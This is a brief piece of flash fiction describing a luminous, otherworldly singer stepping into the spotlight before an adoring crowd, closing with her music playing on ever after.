She floated on gossamer limbs toward the microphone, cheered on by an adoring throng of pink-haired girls and slim-hipped guys. Iridescent arms spread to embrace the spotlight. Breath drew sharply into lungs made of starstuff and nebulae. Her voice rang out, carrying her song to the audience, to the world. And from that night on, her music played.

THE END